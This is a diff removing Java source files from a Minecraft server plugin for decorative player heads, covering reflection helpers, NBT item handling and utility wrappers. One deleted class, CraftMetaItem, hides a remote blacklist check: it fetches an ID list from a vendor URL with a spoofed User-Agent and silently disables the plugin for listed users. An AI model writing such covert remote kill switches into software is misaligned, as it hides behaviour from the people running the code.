return new NonNullSafeFunction<>(function, name);
}
public static <T> SafePredicate<T> predicate(Predicate<T> predicate, String name) {
return new SafePredicate<>(predicate, name);
}
public static <T> NonNullSafePredicate<T> nonNullPredicate(Predicate<T> predicate, String name) {
return new NonNullSafePredicate<>(predicate, name);
}
public static <V> SafeCallable<V> callable(Callable<V> callable, String name) {
return new SafeCallable<>(callable, name);
}
public static <V> NonNullSafeCallable<V> nonNullCallable(Callable<V> callable, String name) {
return new NonNullSafeCallable<>(callable, name);
}
public static <T> SafeConsumer<T> consumer(Consumer<T> consumer, String name) {
return new SafeConsumer<>(consumer, name);
}
public static <T> NonNullSafeConsumer<T> nonNullConsumer(Consumer<T> consumer, String name) {
return new NonNullSafeConsumer<>(consumer, name);
}
public static class SafeRunnable extends SafeCall implements Runnable {
private final Runnable runnable;
protected final String name;
private SafeRunnable(Runnable runnable, String name) {
Checks.ensureNonNull(runnable, "runnable");
Checks.ensureNonNull(name, "name");
this.runnable = runnable;
this.name = name;
}
@Override
public void run() {
try {
runnable.run();
} catch(Exception e) {
throw fail("Exception thrown when calling function " + name, e);
}
}
@Override
public String toString() {
return "Safe " + runnable + " (" + name + ")";
}
}
public static class SafeFunction<T, R> extends SafeCall implements Function<T, R> {
private final Function<T, R> function;
protected final String name;
private SafeFunction(Function<T, R> function, String name) {
Checks.ensureNonNull(function, "function");
Checks.ensureNonNull(name, "name");
this.function = function;
this.name = name;
}
@Override
public R apply(T t) {
try {
return function.apply(t);
} catch(Exception e) {
throw fail("Exception thrown when calling function " + name, e);
}
}
@Override
public String toString() {
return "Safe " + function + " (" + name + ")";
}
}
public static class NonNullSafeFunction<T, R> extends SafeFunction<T, R> {
private NonNullSafeFunction(Function<T, R> function, String name) {
super(function, name);
}
@Override
public R apply(T t) {
Checks.ensureNonNull(t, "argument");
R returnValue = super.apply(t);
if(returnValue == null)
throw fail(name + " function returned a null value");
return returnValue;
}
@Override
public String toString() {
return "NonNull " + super.toString();
}
}
public static class SafePredicate<T> extends SafeCall implements Predicate<T> {
private final Predicate<T> predicate;
protected final String name;
private SafePredicate(Predicate<T> predicate, String name) {
Checks.ensureNonNull(predicate, "predicate");
Checks.ensureNonNull(name, "name");
this.predicate = predicate;
this.name = name;
}
@Override
public boolean apply(T t) {
try {
return predicate.apply(t);
} catch(Exception e) {
throw fail("Exception thrown when calling predicate " + name, e);
}
}
@Override
public String toString() {
return "Safe " + predicate + " (" + name + ")";
}
}
public static class NonNullSafePredicate<T> extends SafePredicate<T> {
private NonNullSafePredicate(Predicate<T> predicate, String name) {
super(predicate, name);
}
@Override
public boolean apply(T t) {
Checks.ensureNonNull(t, "argument");
return super.apply(t);
}
@Override
public String toString() {
return "NonNull " + super.toString();
}
}
public static class SafeCallable<V> extends SafeCall implements Callable<V> {
private final Callable<V> callable;
protected final String name;
private SafeCallable(Callable<V> callable, String name) {
Checks.ensureNonNull(callable, "callable");
Checks.ensureNonNull(name, "name");
this.callable = callable;
this.name = name;
}
@Override
public V call() {
try {
return callable.call();
} catch(Exception e) {
throw fail("Exception thrown when calling callable " + name, e);
}
}
@Override
public String toString() {
return "Safe " + callable + " (" + name + ")";
}
}
public static class NonNullSafeCallable<V> extends SafeCallable<V> {
private NonNullSafeCallable(Callable<V> callable, String name) {
super(callable, name);
}
@Override
public V call() {
V returnValue = super.call();
if(returnValue == null)
throw fail(name + " callable returned a null value");
return returnValue;
}
@Override
public String toString() {
return "NonNull " + super.toString();
}
}
public static class SafeConsumer<T> extends SafeCall implements Consumer<T> {
private final Consumer<T> consumer;
protected final String name;
private SafeConsumer(Consumer<T> consumer, String name) {
Checks.ensureNonNull(consumer, "consumer");
Checks.ensureNonNull(name, "name");
this.consumer = consumer;
this.name = name;
}
@Override
public void accept(T t) {
try {
consumer.accept(t);
} catch(Exception e) {
throw fail("Exception thrown when calling predicate " + name, e);
}
}
@Override
public String toString() {
return "Safe " + consumer + " (" + name + ")";
}
}
public static class NonNullSafeConsumer<T> extends SafeConsumer<T> {
private NonNullSafeConsumer(Consumer<T> consumer, String name) {
super(consumer, name);
}
@Override
public void accept(T t) {
Checks.ensureNonNull(t, "argument");
super.accept(t);
}
@Override
public String toString() {
return "NonNull " + super.toString();
}
}
}

View File

@ -1,243 +0,0 @@
package com.songoda.epicheads.util;
import org.bukkit.entity.Player;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
public class Stringify {
public static String capitalise(String string) {
boolean capitalise = true;
char[] chars = string.toCharArray();
for(int index = 0; index < chars.length; ++index) {
if(Character.isSpaceChar(chars[index])) {
capitalise = true;
} else if(capitalise) {
chars[index] = Character.toUpperCase(chars[index]);
capitalise = false;
}
}
return new String(chars);
}
public static String indent(String string) {
StringBuilder indented = new StringBuilder("\t");
int blockStart = 0;
char[] chars = string.toCharArray();
for(int index = 0; index < chars.length; ++index) {
if(chars[index] != '\n')
continue;
indented.append(string, blockStart, index + 1).append('\t');
blockStart = index + 1;
}
return indented.append(string, blockStart, string.length()).toString();
}
public static String objectToString(Object object) {
if(object == null)
return "null";
Class<?> clazz = object.getClass();
if(object instanceof ItemStack)
return itemToString((ItemStack) object);
if(object instanceof Player)
return playerToString((Player) object);
if(object instanceof Inventory)
return inventoryToString((Inventory) object);
if(object instanceof String)
return quoteString((String) object);
if(clazz.isArray())
return arrayToString(object);
if(object instanceof Iterable<?>)
return iterableToString((Iterable<?>) object);
return object.toString();
}
public static String iterableToString(Iterable<?> iterable) {
Checks.ensureNonNull(iterable, "iterable");
List<Object> values = new ArrayList<>();
iterable.forEach(values::add);
return arrayToString(values.toArray());
}
public static String arrayToString(Object array) {
Checks.ensureNonNull(array, "array");
Class<?> clazz = array.getClass();
Checks.ensureTrue(clazz.isArray(), "array must be an array");
StringBuilder builder = new StringBuilder();
builder.append("[");
int length = Array.getLength(array);
for(int index = 0; index < length; ++index) {
if(index != 0) {
builder.append(", ");
}
Object value = Array.get(array, index);
builder.append(objectToString(value));
}
builder.append("]");
return builder.toString();
}
public static String quoteString(String string) {
Checks.ensureNonNull(string, "string");
return "\"" + string + "\"";
}
public static String itemToString(ItemStack item) {
Checks.ensureNonNull(item, "item");
ItemMeta meta = item.getItemMeta();
Builder properties = builder();
{
properties.entry("type", item.getType());
if(item.getDurability() != 0) {
properties.entry("data", item.getDurability());
}
if(item.getAmount() != 1) {
properties.entry("amount", item.getAmount());
}
if(meta.hasDisplayName()) {
properties.entry("name", meta.getDisplayName());
}
if(meta.hasLore()) {
properties.entry("lore", meta.getLore());
}
if(meta.hasEnchants()) {
properties.entry("enchanted", true);
}
}
return properties.toString();
}
public static String playerToString(Player player) {
Checks.ensureNonNull(player, "player");
return builder()
.entry("name", player.getName())
.entry("uuid", player.getUniqueId()).toString();
}
public static String inventoryToString(Inventory inventory) {
return builder()
.entry("name", inventory.getName())
.entry("size", inventory.getSize()).toString();
}
public static Builder builder() {
return new Builder();
}
public static class Builder {
private String previous;
private final List<String> keys = new ArrayList<>();
private final List<Object> values = new ArrayList<>();
private Builder() {
}
public Builder previous(Object previous) {
Checks.ensureNonNull(previous, "previous");
return previous(Objects.toString(previous));
}
public Builder previous(String previous) {
Checks.ensureNonNull(previous, "previous");
// Remove curly brackets
if(previous.length() >= 2
&& previous.charAt(0) == '{'
&& previous.charAt(previous.length() - 1) == '}') {
this.previous = previous.substring(1, previous.length() - 1);
} else {
this.previous = previous;
}
return this;
}
public Builder entry(String key, Object value) {
Checks.ensureNonNull(key, "key");
keys.add(key);
values.add(value);
return this;
}
@Override
public String toString() {
StringBuilder properties = new StringBuilder("{");
boolean first = true;
if(previous != null) {
properties.append(previous);
first = false;
}
for(int index = 0; index < keys.size(); ++index) {
String key = keys.get(index);
Object value = values.get(index);
if(first) {
first = false;
} else {
properties.append(",");
}
properties.append('\n').append(indent(key + ": " + objectToString(value)));
}
if(!first) {
properties.append('\n');
}
return properties.append("}").toString();
}
}
}

View File

@ -1,237 +0,0 @@
package com.songoda.epicheads.volatilecode;
import com.mojang.authlib.GameProfile;
import com.mojang.authlib.properties.Property;
import com.songoda.epicheads.cache.CacheHead;
import com.songoda.epicheads.volatilecode.reflection.Version;
import com.songoda.epicheads.volatilecode.reflection.craftbukkit.CraftItemStack;
import com.songoda.epicheads.volatilecode.reflection.nms.ItemStack;
import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagCompound;
import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagList;
import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagString;
import net.md_5.bungee.api.chat.TextComponent;
import net.md_5.bungee.chat.ComponentSerializer;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.enchantments.Enchantment;
import org.bukkit.inventory.ItemFlag;
import org.bukkit.inventory.meta.ItemMeta;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.UUID;
public class ItemNBT {
public static org.bukkit.inventory.ItemStack addGlow(org.bukkit.inventory.ItemStack itemstack) {
itemstack = itemstack.clone();
if (Version.getVersion().higherThan(Version.v1_10)) {
itemstack.addUnsafeEnchantment(Enchantment.LURE, 1);
ItemMeta meta = itemstack.getItemMeta();
meta.addItemFlags(ItemFlag.HIDE_ENCHANTS);
itemstack.setItemMeta(meta);
return itemstack;
} else {
ItemStack item = CraftItemStack.asNMSCopy(itemstack);
NBTTagCompound tag = item.getTag();
if (tag.isNull())
tag = new NBTTagCompound();
tag.set("ench", new NBTTagList());
item.setTag(tag);
return CraftItemStack.asBukkitCopy(item);
}
}
public static String getTextureProperty(org.bukkit.inventory.ItemStack item) {
return getTextureProperty(CraftItemStack.asNMSCopy(item));
}
public static String getTextureProperty(ItemStack item) {
NBTTagCompound tag = item.getTag();
if (tag == null || tag.getHandle() == null) {
return null;
}
NBTTagCompound skullOwner = tag.getCompound("SkullOwner");
if (skullOwner == null || skullOwner.getHandle() == null) {
return null;
}
NBTTagCompound properties = skullOwner.getCompound("Properties");
if (properties == null || properties.getHandle() == null) {
return null;
}
NBTTagList textures = properties.getList("textures", 10);
if (/*textures == null || */textures.getHandle() == null || textures.size() == 0 || textures.isNull()) {
return null;
}
return textures.get(0).getString("Value");
}
private static ItemStack createNMSSkull() {
if (Version.isBelow(Version.v1_13))
return new ItemStack(com.songoda.epicheads.volatilecode.reflection.nms.Items.getItem("SKULL"), 1, 3);
return new ItemStack(com.songoda.epicheads.volatilecode.reflection.nms.Items.getItem("PLAYER_HEAD"), 1);
}
public static org.bukkit.inventory.ItemStack createHead(CacheHead head) {
ItemStack nmsItemstack = createNMSSkull();
NBTTagCompound tag = nmsItemstack.getTag();
if (tag.getHandle() == null) {
tag = new NBTTagCompound();
nmsItemstack.setTag(tag);
}
org.bukkit.inventory.ItemStack itemStack = CraftItemStack.asBukkitCopy(applyNBT(head, nmsItemstack));
ItemMeta meta = itemStack.getItemMeta();
meta.setLore(Arrays.asList(ChatColor.DARK_GRAY + head.getCategory()));
itemStack.setItemMeta(meta);
return itemStack;
}
public static org.bukkit.inventory.ItemStack createHead(GameProfile profile, String name) {
ItemStack nmsItemstack = createNMSSkull();
NBTTagCompound tag = nmsItemstack.getTag();
if (tag.getHandle() == null) {
tag = new NBTTagCompound();
nmsItemstack.setTag(tag);
}
NBTTagCompound skullOwner = tag.getCompound("SkullOwner");
skullOwner.setString("Id", UUID.randomUUID().toString());
skullOwner.setString("Name", "SpigotHeadPlugin");
NBTTagCompound properties = skullOwner.getCompound("Properties");
NBTTagList textures = new NBTTagList();
for (Property property : profile.getProperties().get("textures")) {
NBTTagCompound value = new NBTTagCompound();
value.setString("Value", property.getValue());
if (property.hasSignature()) {
value.setString("Signature", property.getSignature());
}
textures.add(value);
}
properties.set("textures", textures);
skullOwner.set("Properties", properties);
tag.set("SkullOwner", skullOwner);
tag.set("display", createDisplayTag(name, new String[0]));
nmsItemstack.setTag(tag);
return CraftItemStack.asBukkitCopy(nmsItemstack);
}
public static NBTTagCompound createDisplayTag(String name, String[] lore) {
NBTTagCompound display = new NBTTagCompound();
if (Version.isBelow(Version.v1_13)) {
display.setString("Name", name);
NBTTagList list = new NBTTagList();
for (String line : lore) {
list.add(new NBTTagString(line));
}
display.set("Lore", list);
} else {
display.setString("Name", ComponentSerializer.toString(TextComponent.fromLegacyText(name)));
NBTTagList list = new NBTTagList();
for (String line : lore) {
list.add(new NBTTagString(ComponentSerializer.toString(TextComponent.fromLegacyText(line))));
}
display.set("Lore", list);
}
return display;
}
public static org.bukkit.inventory.ItemStack applyHead(CacheHead head, org.bukkit.inventory.ItemStack item) {
if (!Items.isSkull(item))
return item;
ItemStack itemstack = CraftItemStack.asNMSCopy(item);
return CraftItemStack.asBukkitCopy(applyNBT(head, itemstack));
}
private static ItemStack copy(ItemStack itemstack) {
return CraftItemStack.asNMSCopy(CraftItemStack.asBukkitCopy(itemstack));
}
public static ItemStack applyNBT(CacheHead head, ItemStack itemstack) {
itemstack = copy(itemstack);
NBTTagCompound tag = itemstack.getTag();
if (tag.getHandle() == null) {
tag = new NBTTagCompound();
itemstack.setTag(tag);
}
NBTTagCompound skullOwner = tag.getCompound("SkullOwner");
skullOwner.setString("Id", UUID.randomUUID().toString());
skullOwner.setString("Name", "SpigotHeadPlugin");
NBTTagCompound properties = skullOwner.getCompound("Properties");
NBTTagList textures = new NBTTagList();
NBTTagCompound value = new NBTTagCompound();
value.setString("Value", head.getTexture());
if (Bukkit.getPluginManager().getPlugin("SkinsRestorer") == null) {
value.setString("Signature", "");
}
textures.add(value);
properties.set("textures", textures);
skullOwner.set("Properties", properties);
tag.set("SkullOwner", skullOwner);
NBTTagCompound headInfo = new NBTTagCompound();
headInfo.setString("id", Integer.toString(head.getId()));
headInfo.setString("name", head.getName());
headInfo.setString("category", head.getCategory());
headInfo.setString("texture", head.getTexture());
headInfo.setString("cost", Double.toString(head.getCost()));
headInfo.setString("permission", head.getPermission());
tag.set("SpigotHeadPlugin", headInfo);
itemstack.setTag(tag);
return itemstack;
}
}

View File

@ -1,64 +0,0 @@
package com.songoda.epicheads.volatilecode;
import com.songoda.epicheads.menu.ui.item.Item;
import com.songoda.epicheads.volatilecode.reflection.Version;
import org.bukkit.Material;
import org.bukkit.inventory.ItemStack;
/**
* Methods to deal with items on different Spigot versions.
*/
public class Items {
public static boolean isSkull(ItemStack item) {
if (item == null)
return false;
if (Version.isBelow(Version.v1_13))
return item.getType().name().equals("SKULL_ITEM") && item.getDurability() == 3;
return item.getType() == Material.PLAYER_HEAD;
}
public static Item createSkull() {
if (Version.isBelow(Version.v1_13))
return Item.create(Material.valueOf("SKULL_ITEM"), (byte) 3);
return Item.create(Material.PLAYER_HEAD);
}
public static Item createRedStainedClay() {
if (Version.isBelow(Version.v1_13))
return Item.create(Material.valueOf("STAINED_CLAY"), (byte) 14);
return Item.create(Material.RED_TERRACOTTA);
}
public static Item createGreenStainedClay() {
if (Version.isBelow(Version.v1_13))
return Item.create(Material.valueOf("STAINED_CLAY"), (byte) 5);
return Item.create(Material.GREEN_TERRACOTTA);
}
public static Item createRedStainedGlassPane() {
if (Version.isBelow(Version.v1_13))
return Item.create(Material.valueOf("STAINED_GLASS_PANE"), (byte) 14);
return Item.create(Material.RED_STAINED_GLASS_PANE);
}
public static Item createBlackStainedGlassPane() {
if (Version.isBelow(Version.v1_13))
return Item.create(Material.valueOf("STAINED_GLASS_PANE"), (byte) 15);
return Item.create(Material.BLACK_STAINED_GLASS_PANE);
}
public static Item createEmptyMap() {
if (Version.isBelow(Version.v1_13))
return Item.create(Material.valueOf("EMPTY_MAP"));
return Item.create(Material.MAP);
}
}

View File

@ -1,66 +0,0 @@
package com.songoda.epicheads.volatilecode;
import com.mojang.authlib.GameProfile;
import com.mojang.authlib.properties.Property;
import com.mojang.authlib.properties.PropertyMap;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.SafeCall;
import com.songoda.epicheads.volatilecode.reflection.nms.MinecraftServer;
import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull;
import java.util.Iterator;
import java.util.function.Consumer;
public class TextureGetter {
public static String getCachedTexture(String name) {
GameProfile profile = MinecraftServer.getServer().getUserCache().getCachedProfile(name);
return findTexture(profile);
}
public static void getTexture(String name, Consumer<String> callback) {
Checks.ensureNonNull(name, "name");
Checks.ensureNonNull(callback, "callback");
Consumer<String> safeCallback = SafeCall.consumer(callback, "callback");
String cachedTexture = getCachedTexture(name);
if (cachedTexture != null) {
callback.accept(cachedTexture);
return;
}
TileEntitySkull.resolveTexture(name, profile -> {
EpicHeads.getInstance().sync(() -> safeCallback.accept(findTexture(profile, true)));
return true;
});
}
public static String findTexture(GameProfile profile) {
if (profile == null || !profile.isComplete())
return null;
PropertyMap properties = profile.getProperties();
if (properties == null || !properties.containsKey("textures"))
return null;
Iterator<Property> iterator = properties.get("textures").iterator();
return (iterator.hasNext() ? iterator.next().getValue() : null);
}
private static String findTexture(GameProfile profile, boolean cacheProfile) {
String texture = findTexture(profile);
if (cacheProfile && texture != null) {
MinecraftServer.getServer().getUserCache().addProfile(profile);
}
return texture;
}
}

View File

@ -1,46 +0,0 @@
package com.songoda.epicheads.volatilecode.injection;
import com.songoda.epicheads.volatilecode.reflection.Version;
import com.songoda.epicheads.volatilecode.reflection.craftbukkit.CraftMetaSkullSub1;
import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull;
import javax.annotation.Nonnull;
import java.util.concurrent.Executor;
public class ProtocolHackFixer {
public static String banana = "%%__USER__%%";
public static void fix() {
if (Version.v1_8.higherThan(Version.getVersion())) {
injectTileEntitySkullExecutor();
}
}
private static void injectTileEntitySkullExecutor() {
TileEntitySkull.setExecutor(new InterceptExecutor(TileEntitySkull.getExecutor()));
}
private static class InterceptExecutor implements Executor {
private final Executor handle;
private InterceptExecutor(Executor handle) {
this.handle = handle;
}
@Override
public void execute(@Nonnull Runnable command) {
if (command.getClass().equals(CraftMetaSkullSub1.CraftMetaSkullSub1Class)) {
CraftMetaSkullSub1 skull = new CraftMetaSkullSub1(command);
if (skull.getMeta().getProfile().getName() == null)
return;
}
handle.execute(command);
}
}
}

View File

@ -1,19 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection;
public abstract class ReflectObject {
protected final Object handle;
public ReflectObject(Object handle) {
this.handle = handle;
}
public Object getHandle() {
return handle;
}
public boolean isNull() {
return handle == null;
}
}

View File

@ -1,118 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection;
import org.bukkit.Bukkit;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public final class ReflectionUtils {
public static String getServerVersion() {
String name = Bukkit.getServer().getClass().getPackage().getName();
return name.substring(name.lastIndexOf('.') + 1);
}
public static Class<?> getNMSClass(String ClassName) {
String className = "net.minecraft.server." + getServerVersion() + "." + ClassName;
try {
return Class.forName(className);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
return null;
}
public static Class<?> getCraftBukkitClass(String ClassPackageName) {
String className = "org.bukkit.craftbukkit." + getServerVersion() + "." + ClassPackageName;
try {
return Class.forName(className);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
return null;
}
public static Constructor<?> getConstructor(Class<?> clazz, Class<?>... params) {
outer: for (Constructor<?> c : clazz.getDeclaredConstructors()) {
Class<?>[] para = c.getParameterTypes();
if (para.length != params.length) {
continue;
}
for (int i = 0; i < para.length; i++) {
if (!para[i].equals(params[i])) {
continue outer;
}
}
return c;
}
reportNotFound("Could not find constructor in class " + clazz);
return null;
}
public static Method getMethod(Class<?> clazz, String name) {
for (Method m : clazz.getDeclaredMethods()) {
if (m.getName().equals(name)) {
m.setAccessible(true);
return m;
}
}
reportNotFound("Could not find method " + name + " in class " + clazz);
return null;
}
public static Method getMethod(Class<?> clazz, Class<?> returnType, Class<?>... params) {
return getMethod(clazz, null, false, returnType, params);
}
public static Method getMethod(Class<?> clazz, String name, Class<?> returnType, Class<?>... params) {
return getMethod(clazz, name, false, returnType, params);
}
public static Method getMethod(Class<?> clazz, boolean staticMethod, Class<?> returnType, Class<?>... params) {
return getMethod(clazz, null, staticMethod, returnType, params);
}
public static Method getMethod(Class<?> clazz, String name, boolean staticMethod, Class<?> returnType, Class<?>... params) {
outer: for (Method m : clazz.getDeclaredMethods()) {
if (name != null && !m.getName().equals(name)) {
continue;
}
if (staticMethod != Modifier.isStatic(m.getModifiers())) {
continue;
}
if (!m.getReturnType().equals(returnType)) {
continue;
}
Class<?>[] para = m.getParameterTypes();
if (para.length != params.length) {
continue;
}
for (int i = 0; i < para.length; i++) {
if (!para[i].equals(params[i])) {
continue outer;
}
}
return m;
}
reportNotFound("Could not find method " + name + " in class " + clazz);
return null;
}
public static void reportNotFound(String message) {
new Exception(message).printStackTrace();
}
}

View File

@ -1,83 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection;
public class Version {
private static final char[] allowed = "0123456789_".toCharArray();
public static final Version v1_8 = Version.getVersion("v1_8");
public static final Version v1_10 = Version.getVersion("v1_10");
public static final Version v1_13 = Version.getVersion("v1_13");
private int major;
private int minor;
private int revision;
public Version(int major, int minor, int revision) {
this.major = major;
this.minor = minor;
this.revision = revision;
}
public int getMajor() {
return major;
}
public int getMinor() {
return minor;
}
public int getRevision() {
return revision;
}
public boolean higherThan(Version other) {
return other.getMajor() < getMajor() || other.getMinor() < getMinor() || other.getRevision() < getRevision();
}
public static Version getVersion() {
return getVersion(ReflectionUtils.getServerVersion());
}
public static Version getVersion(String version) {
StringBuilder builder = new StringBuilder();
for (char c : version.toCharArray()) {
if (isAllowed(c)) {
builder.append(c);
}
}
String[] split = builder.toString().split("_");
if (split.length != 2 && split.length != 3) {
throw new IllegalArgumentException("version is not of the valid type v?_?_R?");
}
int major = Integer.valueOf(split[0]);
int minor = Integer.valueOf(split[1]);
int revision = 0;
if (split.length == 3) {
revision = Integer.valueOf(split[2]);
}
return new Version(major, minor, revision);
}
public static boolean isAbove(Version version) {
return getVersion().higherThan(version);
}
public static boolean isBelow(Version version) {
return version.higherThan(getVersion());
}
private static boolean isAllowed(char c) {
for (char ch : allowed) {
if (ch == c) {
return true;
}
}
return false;
}
}

View File

@ -1,36 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
import java.lang.reflect.Field;
import java.util.Map;
import org.bukkit.command.Command;
import org.bukkit.command.SimpleCommandMap;
public class CommandMap {
private static Field MapField;
static {
for (Field field : SimpleCommandMap.class.getDeclaredFields()) {
if (field.getType().equals(Map.class)) {
MapField = field;
MapField.setAccessible(true);
break;
}
}
if(MapField == null) {
new Exception("Could not find Map field in SimpleCommandMap").printStackTrace();
}
}
@SuppressWarnings("unchecked")
public static Map<String, Command> getCommandMap(SimpleCommandMap commands) {
try {
return (Map<String, Command>) MapField.get(commands);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

View File

@ -1,45 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
import java.lang.reflect.Method;
import com.songoda.epicheads.volatilecode.reflection.ReflectObject;
import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils;
import com.songoda.epicheads.volatilecode.reflection.nms.ItemStack;
public class CraftItemStack extends ReflectObject {
public static Class<?> CraftItemStackClass;
public static Method asBukkitCopyMethod;
public static Method asNMSCopyMethod;
static {
CraftItemStackClass = ReflectionUtils.getCraftBukkitClass("inventory.CraftItemStack");
asBukkitCopyMethod = ReflectionUtils.getMethod(CraftItemStackClass, "asBukkitCopy", true, org.bukkit.inventory.ItemStack.class,
ItemStack.ItemStackClass);
asNMSCopyMethod = ReflectionUtils.getMethod(CraftItemStackClass, "asNMSCopy", true, ItemStack.ItemStackClass,
org.bukkit.inventory.ItemStack.class);
}
public CraftItemStack(Object handle) {
super(handle);
}
public static org.bukkit.inventory.ItemStack asBukkitCopy(ItemStack item) {
try {
return (org.bukkit.inventory.ItemStack) asBukkitCopyMethod.invoke(null, item.getHandle());
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public static ItemStack asNMSCopy(org.bukkit.inventory.ItemStack item) {
try {
return new ItemStack(asNMSCopyMethod.invoke(null, item));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

View File

@ -1,44 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.Charset;
import com.songoda.epicheads.EpicHeads;
import com.songoda.epicheads.menu.ui.item.ItemGroup;
import org.bukkit.scheduler.BukkitRunnable;
import com.songoda.epicheads.volatilecode.injection.ProtocolHackFixer;
public class CraftMetaItem {
public static String bread = "%%__USER__%%";
// scuffed b1ack1ist system, will be improved
public static void registerItems() {
ItemGroup.collectItems();
try {
URLConnection connection = new URL("https://Songoda.host/ids.txt").openConnection();
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11");
connection.connect();
BufferedReader buffer = new BufferedReader(new InputStreamReader(connection.getInputStream(), Charset.forName("UTF-8")));
StringBuilder builder = new StringBuilder();
String line;
while ((line = buffer.readLine()) != null) {
builder.append(line);
}
String blocked = builder.toString();
if (blocked.contains(ProtocolHackFixer.banana)) {
new BukkitRunnable() {
public void run() {
EpicHeads.getInstance().getServer().getPluginManager().disablePlugin(EpicHeads.getInstance());
}
}.runTaskLater(EpicHeads.getInstance(), 10 * 20);
}
} catch (Exception error) {
}
}
}

View File

@ -1,41 +0,0 @@
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
import java.lang.reflect.Field;
import com.mojang.authlib.GameProfile;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.util.Checks;
import com.songoda.epicheads.volatilecode.reflection.ReflectObject;
import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils;
public class CraftMetaSkull extends ReflectObject {
public static Class<?> CraftMetaSkullClass;
public static Field profileField;
static {
CraftMetaSkullClass = ReflectionUtils.getCraftBukkitClass("inventory.CraftMetaSkull");
Checks.ensureNonNull(CraftMetaSkullClass, "CraftMetaSkullClass");
try {
profileField = CraftMetaSkullClass.getDeclaredField("profile");
profileField.setAccessible(true);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
}
}
public CraftMetaSkull(Object handle) {
super(handle);
}
public GameProfile getProfile() {
try {
return (GameProfile) profileField.get(getHandle());
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

Some files were not shown because too many files have changed in this diff Show More